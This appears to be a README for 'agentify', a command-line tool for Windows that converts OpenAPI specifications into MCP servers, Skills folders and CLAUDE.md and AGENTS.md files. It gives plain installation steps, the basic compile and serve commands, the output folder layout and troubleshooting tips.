🤖 agentify - Build Agents from OpenAPI Specs

agentify is a tool that helps you create smart agents from OpenAPI specs. Instead of setting up complicated systems, you can use one simple command to convert your API information into useful files and servers your product can use. It generates MCP Servers, Skills, CLAUDE.md, AGENTS.md, and other components. This makes it easier to build and manage agents that understand your product’s API without manually writing code.

agentify works well for anyone who wants to turn their API description into an interactive agent quickly. You don’t need coding skills or deep technical knowledge. The tool handles all the technical parts for you. It is designed for product managers, business analysts, or anyone working with APIs who wants to create digital assistants or automated agents.

• Windows 10 or later (64-bit recommended)
• At least 4 GB of free RAM
• 500 MB of free disk space
• Internet connection to download the tool and updates

agentify runs as a desktop application with a command line interface, so your computer should support running Windows applications without administrative restrictions.

• Converts OpenAPI specifications into running MCP Servers
• Generates Skills, CLAUDE.md, and AGENTS.md files automatically
• Supports integration with AI models like Claude and other large language models
• Works entirely from the command line, requiring only one command for full setup
• Uses TypeScript under the hood but no knowledge needed to use
• Compatible with various AI and automation tools through generated outputs

You can get the latest version of agentify from the official release page.

Steps:

Follow these steps to install and run agentify.

• Locate the .exe file you downloaded, usually in your "Downloads" folder.
• Double-click the file to start the installation.
• When prompted, follow the on-screen instructions to finish installing agentify.

The installer will place all necessary files on your PC.

• Press the Windows key, type cmd, and press Enter to open the Command Prompt window.
• Make sure you are in the folder where agentify is installed or the folder where you want to use the tool.

agentify works by running commands in Command Prompt.

• To check if agentify is installed correctly, type:
  agentify --version
  This will show the installed version number.

• To start using agentify to convert your OpenAPI specs, you will use a command similar to:
  agentify compile your-api-spec.yaml

Replace your-api-spec.yaml with the path to your OpenAPI file.

Agentify creates several important files and servers:

• MCP Server: A running agent server that can interact with your API.
• Skills Folder: Contains scripts that define the agent’s abilities.
• CLAUDE.md & AGENTS.md: Documentation files for managing and understanding your agents.

You can open these files with any text editor, like Notepad, to view or edit the details.

Here are some common commands you can use with agentify.

• agentify compile [file]
  Converts an OpenAPI spec into agent files.

• agentify serve
  Runs the MCP server locally so you can test the agent.

• agentify help
  Displays help information and available commands.

Replace [file] with the name of your spec file.

When you run agentify, it creates a folder structure that helps keep everything neat:

/agentify-project
  /skills
  CLAUDE.md
  AGENTS.md
  mcp-server.js
  ...

• Place your OpenAPI files inside the project folder or reference them with the full path when running commands.
• Keep your skill files inside the skills directory to manage agent actions.

Check the release page regularly to download new versions. Updates may include:

• Bug fixes
• New features
• Better compatibility

Download the new installer and run it again to update.

• Use clear and complete OpenAPI specs for best results.
• Test the MCP server on your local machine before deploying.
• Review generated .md files to understand how your agent is set up.
• Keep your project files backed up to avoid losing work.

• If agentify command is not recognized, ensure the installation folder is in your system’s PATH or run it from the install directory.
• Make sure your OpenAPI file is valid and properly formatted.
• Restart your command prompt after installing.

If you encounter errors, text from error messages can help diagnose the problem.

Explore topics related to agentify like:

• OpenAPI specifications
• MCP (Model Context Protocol)
• Skills-based agent design
• Using Claude and other AI models with your API

These can help you get more from the files and servers generated by agentify.